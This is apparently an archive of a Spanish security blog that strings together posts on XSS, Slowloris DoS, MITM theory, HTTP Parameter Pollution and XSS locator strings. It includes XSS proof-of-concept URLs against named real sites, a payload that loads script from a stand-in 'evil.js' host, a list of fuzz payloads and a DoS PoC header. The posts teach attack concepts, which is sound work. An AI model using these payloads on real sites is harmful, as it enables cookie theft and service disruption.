Play & Fun with JavaScript II (Aprendiendo de un reporte)

Buenas! Llevaba ya tiempo sin escribir, he estado ocupado con el final de curso, planificación de vacaciones y esas cosas que se suelen hacer en esta época. Todo esto y otras cosas más el calor húmedo insoportable de la costa mediterránea me han privado de tiempo para escribir.

———————————————————————————————————————————————————————————————————————————-

Este va a ser el segundo post de la serie de Play & Fun with JavaScript que desde hoy sera usado para todo lo relacionado con XSS o con tips interesantes en JavaScript.
La finalidad de este post es iniciar a la gente en una de las vulnerabilidades Client Side (siempre y cuando tenga conocimientos previos de JavaScript o HTML), concretamente Cross Site Scripting, abreviado como XSS.

Las webs en cuestion fueron estas: | aspx.opensourcecms.com | php.opensourcecms.com | commercialcms.com | y el reporte en cuestión lo pueden encontrar en la zona Full-D CMS de unsersecurity.net aquí concretamente: CMS: OpenSource CMS Multiple Vulnerabilities. De este mismo reporte usaremos unicamente lo que nos interese.

+—————————————————————————–+

——++++=########################## Advisory & Vulnerabilites Information ##########################=++++——

Type: Web App Vuln
Details: 4 XSS & 1 FPD
Risk: Medium/High
Advisory ID: ASec-101
Discloure policy: RFpolicy

——++++=########################## ###################################### ##########################=++++——

Lo primero de todo vemos que el tipo de vulnerabilidad esta en una aplicacion web. Si nos fijamos en el campo de detalles (que es lo que nos interesa) nos muestra que se tratan de 4 XSS y un FPD. En este post nos centraremos unicamente en los XSS.

XSS es una vulnerabilidad producida por el incorrecto filtrado de ciertas variables que pueden pasar mediante GET, POST o incluso Trace. Cuando digo incorrecto filtrado me estoy refiriendo que caracteres como < > ; : ” ‘ () . + – * / son incorrectamente interpretados por la aplicacion vulnerable. El problema de esto es que si tenemos nociones minímas de JavaScript, sabremos que podemos usar esto a nuestro favor ejecutando código JS a nuestra voluntad.

Antes de continuar me gustaría explicar una cosa. JavaScript es un lenguaje que se ejecuta en el navegador, con lo cual la modificación  del código fuente de la página no se produce realmente, sino que nuestro script se ejecuta en el navegador del usuario en cuestión. Cuando modificamos el código fuente de una página inyectando JavaScript o HTML estaríamos hablando de otra vulnerabilidad: HTML injection. Continuemos ahora viendo el reporte

[+]XSS

1º [------XSS------]

Location: index.php
Method: GET
Url: http://php.opensourcecms.com/search/index.php?q=

PoC – Cookie Alert

http://php.opensourcecms.com/search/index.php?q=”><script>alert(document.cookie);</script>

[Response]:

PHPSESSID=bf2c97c8e104e8724ec728249fb87cb6; ………………………..

Bien! Aquí ya tenemos cosas muy interesantes. Fijemosnos en el campo Location, esto nos indica el nombre del archivo vulnerable (index.php), Method nos indica el tipo de petición que relaizemos [1] y ahora vamos al campo más interesante, la URL donde sinos fijamos al final aparece ?q= , a simple vista parece una letra normal pero no, esta q es la variable incorrectamente filtrada y la que vamos a aprovechar.

Pasemos a la Prueba de Concepto (PoC: Proof of Concept), la verdad es que no es de las mas interesantes no obstante vamos a analizar el código.

“><script>alert(document.cookie);</script>

“> : cerramos el tag html normalmente en caso de un buscador sera un <input>
<script></script> : abrimos y cerramos nuestro script
alert() : mediante el metodo alert, nos aparecerá una ventana donde el contenido será lo que haya entre ()
document.cookie : usamos el objeto document y la propiedad cookie, que muestra los valores de las cookies del documento actual

Como habran deducido esto nos muestra una ventana con el contenido de las cookies que nos han enviado esas páginas

Ahora si me disculpan voy  a saltarme el segundo XSS porque en el 3º puedo explicar dos cosas de golpe

3º [------XSS------]

Location: contactus.php
Method: POST
Url: http://php.opensourcecms.com/general/contactus.php

PoC – Post Parameters (I use Tamper data for change the post parameters)

name=”><script src=”http://testing.net/evil.js”></script>
email=”> other evil code

Supongamos que han leido todo hasta aquí, y que por ello no explicare los campos ya mencionados. Si nos fijamos en la parte del PoC, esta vez pone algo más interesante. Esta vez el metodo usado es POST, para “visualizar” los parametros vulnerables mejor recomiendo utilizar el Tamper Data[2]. Y ahora vamos a lo interesante:

name=”><script src=”http://testing.net/evil.js”></script>

Como pueden ver aqui estamos utilizando <script src= lo que hace este src es redireccionar a nuestra web donde se encuentrara nuestro evil script que contendrá código malicioso que se ejecutara en nuestro navegador. Otra forma de redireccionar por ejemplo a un stealer de cookies, es mediante document.location

Referencias y links de interés

• HTTP al descubierto by Vengador de las Sombras (The X-C3LL) & Sknight (Lix)
• Tamper Data Tutorial

Y hasta aquí lo interesante del reporte, los PoC’s del 2º y 4º XSS solo muestran numeros y texto asi que no creo que sea demasiado interés.

Para el próximo artículo de play & fun tratará sobre form tampering y sobre limitaciones en el output, ya veréis que vectores más chulos vais a ver

Slowloris: Denegación de servicio en Apache

Hace unos días, RSnake, de ha.ckers, publicó una herramienta llamada Slowloris, capaz de provocar una denegación de servicio en Apache, saturándolo de peticiones, aunque dejando el resto de los servicios de la máquina afectada disponibles y sin problemas, ya que actúa a nivel de aplicación, es decir, el ataque sólo afecta a Apache en sí.

La herramienta en cuestión es un script realizado en Perl, que por cierto, no sólo requiere tener instalado el intérprete, sino que precisa además de una serie de librerías, tal y como se indica en la web del autor:

perl -MCPAN -e ‘install IO::Socket::INET’
perl -MCPAN -e ‘install IO::Socket::SSL’

El ataque consiste básicamente en abrir muchos threads contra una página web y dejar las peticiones a medias. Declara que va a enviar datos pero, realmente, nunca llega a hacer el resto del PUT.

Slowloris holds connections open by sending partial HTTP requests. It continues to send subsequent headers at regular intervals to keep the sockets from closing. In this way webservers can be quickly tied up. In particular, servers that have threading will tend to be vulnerable, by virtue of the fact that they attempt to limit the amount of threading they’ll allow. Slowloris must wait for all the sockets to become available before it’s successful at consuming them, so if it’s a high traffic website, it may take a while for the site to free up it’s sockets. So while you may be unable to see the website from your vantage point, others may still be able to see it until all sockets are freed by them and consumed by Slowloris. This is because other users of the system must finish their requests before the sockets become available for Slowloris to consume. If others re-initiate their connections in that brief time-period they’ll still be able to see the site. So it’s a bit of a race condition, but one that Slowloris will eventually always win – and sooner than later.

Para mas información pueden mirarse esto: Slowloris [ha.ckers]

La herramienta ha provocado un impacto grande, además, el problema no tiene una solución fácil, de hecho,  a fecha de hoy no hay ninguna solución que sea “completa”, ya que la mayoría de las “soluciones” restarían funcionalidad a los sistemas afectados, aunque ya se hayan publicado algunas alternativas, más bien para minimizar el ataque, en Security By Default.

Cabe destacar la herramienta PyLoris, una implementacion del slowloris pero en python (quizás mas entendible, en cuanto a código se refiera), eso si, este programa no es apto para kiddies  .

Tambien me gustaría mencionar el gran trabajo de c1c4tr1z (voodoo-labs & undersecurity [afiliado!]), ya que basandose en una prueba de concepto colgada en milw0rm (Link al PoC) ha desarrollado una versión en C intentando replicar este ataque.
/***

 * apache_dos.c - C1c4Tr1Z <c1c4tr1z@voodoo-labs.org>
 * C version of the D.O.S proof-of-concept by evilrabbi (http://www.milw0rm.com/exploits/8991)
 * voodoo-labs 2009 (http://voodoo-labs.org) & undersecurity (http://foro.undersecurity.net)
 * compile: gcc -o apache_dos apache_dos.c -lpthread
 ***/

Code completo aquí: apache_dos.c (undersecurity)

Man in the Middle Attacks I: Teoría e Introducción

Hola, este va a ser el primero de una serie de posts, que tratarán como tema principal el ataque de tipo Man in the Middle, comúnmente abreviado como MITM, los cuales intentarán transmitir una base teórica del funcionamiento y principios del ataque, para posteriormente centrarnos en más prácticos temas prácticos, así como la defensa ante el MITM.

En cuanto a criptografía, un MITM es una técnica en el cual un atacante puede interceptar mensajes entre dos víctimas, siendo capaz de tener acceso y modificar la información transmitida entre las dos partes, todo esto sin que ninguna tenga conocimiento de éste.

Esquema de un ataque MITM, sacado de la página web de la OWASP. En este se ve cómo el atacante recibe la información que intercambian las víctimas (aquí un ordenador de escritorio y un servidor), sin que estas puedan apreciarlo.

Esta técnica puede ser utilizada con varios objetivos (aquí enumero los más comunes):

• Eavesdropping (literalmente, escuchar secretamente). Interceptar y acceder activamente a la información transmitida, por ejemplo, mediante un sniffer.

Diagrama de un ataque local de eavesdropping, obtenido de la web de la OWASP, en el que se ve cómo una contraseña enviada por la vítcima es interceptada por el atacante.

• Denegaciones de servicio, es decir, interrumpir el flujo de información entre víctimas, bloqueando la comunicación.
• Spoofing. Hacerse pasar por una de las víctimas para enviar información, modificarla…

La forma más usual de realizar este ataque, es mediante una técnica conocida como ARP Spoofing, también llamada ARP Poisoning, llevada a cabo en redes locales.

El protocolo ARP

El Adress Resolution Protocol, o protocolo de resolución de direcciones, se encarga de relacionar la dirección física o hardware de una tarjeta de interfaz de red con su dirección IP correspondiente a nivel de red, mediante peticiones ARP. Todo esto funciona mediante una serie de peticiones, que se agilizan gracias a unas tablas caché, llamadas tablas ARP, que guardan direcciones ya traducidas, que cuando pasa un determinado tiempo, se van borrando.

En el contexto del ataque, el ordenador atacante envenena las tablas ARP tanto del router como del equipo víctima, haciendo así que todo el tráfico pase por él, es decir, interceptándolo.

En la próxima entrega proporcionaremos un efoque más práctico al tema.

Un saludo!

YEHG.Net Greasemonkey Web Page Fingerprinter [x]

[URL]

http://arrivalsec.wordpress.com/wp-admin/post.php?action=edit&post=217

[Headers]

Server: nginx

Date: Sat, 06 Jun 2009 20:30:21 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://arrivalsec.wordpress.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sat, 06 Jun 2009 20:30:21 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache

Content-length: 68875
Cookie: __qca=1244296460-19778041-72768616; __qcb=731321083; wordpress_test_cookie=WP+Cookie+check; wp-settings-5238014=hidetb%3D1%26editor%3Dtinymce%26uploader%3D1; wp-settings-time-5238014=1244320188
=> Edit Cookie

[RECON]

—Lookup—WebhostinfoDNSStuffRobtexDNSNetwork DNSRecordsDomainToolsSamSpadeHost2IPNetcraft WhatSiteNetcraft SiteReportNetwork TracertNetwork LookupNetwork WhoisBetterwhoisNetwork ExpressPortScan1PortScan2FlashPortScanMX ProfileMX LookupMX RecordsdirIndexingcache:link:site:emailfile:pdffile:xlsfile:xmlfile:docfile:pptfile:txtfile:rtffile:conffile:configfile:inifile:lstfile:zipfile:gzipfile:emlfile:psfile:exefile:rpmfile:dbfile:mdbfile:logfile:passwdfile:pwd [Launch all]   [Prepend Proxy]

[BruteForce Scan]

– Select —Dic-SmallDic-ComprehensiveBigCatalaCommonEuskeraMediumPasslistSpanishSubdomainsUserlistWeak_passwords_module_passlistWeak_passwords_module_userlistCommon_passNamesApacheCgiCgisColdfusionDominoFatwireFatwire_pagenamesFrontpageIisIplanetJrunNetwareOracle9iSharepointSunasTestsTomcatVignetteWeblogicWebsphereo-iiso-cfmo-jsp [Start]  [View]

Loading …

Do other stuffs.
Seem slowly? As it doesn’t do multi-requests,
it’s likely that web server IDS may not detect scanning.
But it’s for dictionary scanning only.

[Fuzz URL]

http://arrivalsec.wordpress.com/wp-admin/post.php?action=edit&post=217

Select Fuzz Type: Fuzz [default]BackupFilesHeaderCheckCSRFCS Framing [Help]

Fuzz Options Fuzz Db: — Check –1) —!><!–”>xxx<P>yyy..2) “><script>”..3) <script>..</script&gt..4) <<script>..;//<&lt..5) <script>..</script&gt..6) ‘><script>..<..7) “><script>..;</script&gt..8) \”;..;//..9) %3cscript%3e..;%3c/script%3e..10) %3cscript%3e..;%3c%2fscript%3e..11) %3Cscript%3E..;%3C/script%3E..12) &ltscript&gt..;</sc..13) &ltscript&gt..;&lt..14) <xss><script>alert(‘XSS’)&lt..15) <IMG%20SRC=’javascript:..16) <IMG SRC=”javascript:alert(‘XSS’..17) <IMG SRC=”javascript:alert(‘XSS’..18) <IMG SRC=javascript:alert(‘XSS’)>..19) <IMG SRC=JaVaScRiPt:alert(‘XSS’)>..20) <IMG SRC=javascript:alert(&quot;XSS&quo..21) <IMG SRC=`javascript:alert(“‘XSS’..22) <IMG “”"><SCRIPT>alert(..23) <IMG SRC=javascript:alert(String.fromCharCode(8..24) <IMG%20SRC=’javasc ript:..25) <IMG SRC=”jav ascript:alert(‘XSS’..26) <IMG SRC=”jav ascript:alert(‘..27) <IMG SRC=”jav ascript:alert(‘..28) <IMG SRC=”jav ascript:alert(‘..29) <IMG SRC=” &#14; javascript:alert(

Basic permissions in Linux

Introducción

Los permisos asociados a ficheros y directorios, son una de las medidas de seguridad básicas en los sistemas. Generalmente, el usuario propietario será la persona que ha creado el fichero, pero ésta puede ser alterada después de su creación. Existen tres tipos básicos de permisos, que son de:

• Lectura: permite a los usuarios leer el archivo especificado.
• Escritura: permite a los usuarios modificar el archivo especificado.
• Ejecución: permite a los usuarios ejecutar el archivo especificado.

Cuando se asignan estos permisos, Linux guarda un registro de los mismos que posteriormente aparece reflejado en la lista de archivos, con lo cual, se crea un estado que se expresa mediante marcas:

• r (read): acceso de lectura.
• w (write): acceso de escritura.
• x (execute): acceso de ejecución.

Dichas marcas, pueden ser visibles con un formato largo mediante el comando, ls -l. Ésta es una salida típica:

drwxr-xr-x 2 Pepe Pepe 4096 jun 6 12:50 lg
-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py
drwxr-xr-x 2 Pepe Pepe 4096 jun 6 12:50 scripts

FIGURA 1.1: Propiedades de la tabla de permisos

Como podemos observar en la Figura 1.1, el primer carácter especifica el tipo de recurso. En este campo existen varios:

HTTP Parameter Pollution FAQ

El HTTP Parameter Pollution es una vulnerabilidad bastante nueva que se ha extendido rápidamente, a raíz de una conferencia de OWASP (OWASP AppSec Poland 2009), a cargo de Stefano Di Paola y Luca Carettoni. En Security by Default han hecho un artículo con una explicación bastante clara de esta técnica, que a grandes rasgos, se basa en una manipulación de variables en una aplicación web. Hace nada, en Wisec, web de Stefano, han publicado un interesante FAQ que aclara el alcance y la peligrosidad del ataque:

Q: Is this a new class of exploits or just another case of applications lacking input validation?
A: Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness.
In this specific case, query string delimiters are the “dangerous” characters.

Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?
A: Yes, sure. However, considering the granularity available, we don’t think it is really so interesting.

Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.
A: Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by ‘hard-core’ attackers, it’s very important to formalize a threat in order to mitigate the issue and create efficient workarounds.
The aim of the entire research is to raise awareness around this problem.
In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well.
We strongly believe that sharing such knowledge may increase the security of all web applications.

Q: Most of your examples and findings use GET parameters. What about POST?
A: POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.

Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?
A: No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn’t double check the latest one. We are sorry for this misunderstanding.

Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?
A: Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the _management_ of multiple occurrences and NOT the presence of multiple occurrences themselves.
After all, that’s why it is possible to abuse the query string delimiters injection flaw.

Q: Is Yahoo! Mail still vulnerable to HPP?
A: Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.

Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?
A: I’ve just published here an in-depth review of the issue with the video PoC as well.

Q: What’s the right way of managing multiple occurrences? Is there a ‘perfect’ framework?
A: No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability, only.

Q: HPP is only about WAFs bypasses?
A: Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.

Q: How can I prevent HPP?
A: First of all, answer yourself “Which layer am I protecting?”.
Then, speaking about HPP server side, it’s always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end.
From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.

Q: Am I vulnerable to HPP?
A: It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP :p).

Para más información pueden descargar la presentación de la charla: HTTP Parameter Pollution

Un saludo!

Tip: XSS Locator

Hola, la razón de este post (mini-post, más bien), es hablaros acerca de una cadena de caracteres llamada “XSS Locator”, creada por RSnake, de ha.ckers. Consiste simplemente en un conjunto de caracteres, tales como “, <, o ‘, además de otros, cuyo objetivo consiste en facilitarnos la tarea de realizar un bypassing a algún filtro. La cadena en cuestión es:

”;!–”<XSS>=&{()}

Con esto conseguimos ver qué caracteres se filtran, y cuales no, para así, interpretando correctamente los resultados, tanto en la respuesta de la web como en el código fuente, desarrollar una sentencia que pueda vulnerar dicho filtro.

Aquí os dejo otro locator, proporcionado por Lix (gracias), sacado de aquí :

‘;alert(0)//\’;alert(1)//”;alert(2)//\”;alert(3)//–></SCRIPT>”">’><SCRIPT>alert(4)</SCRIPT>=&{}”");}alert(6);function xss(){//”

Espero que sea de utilidad.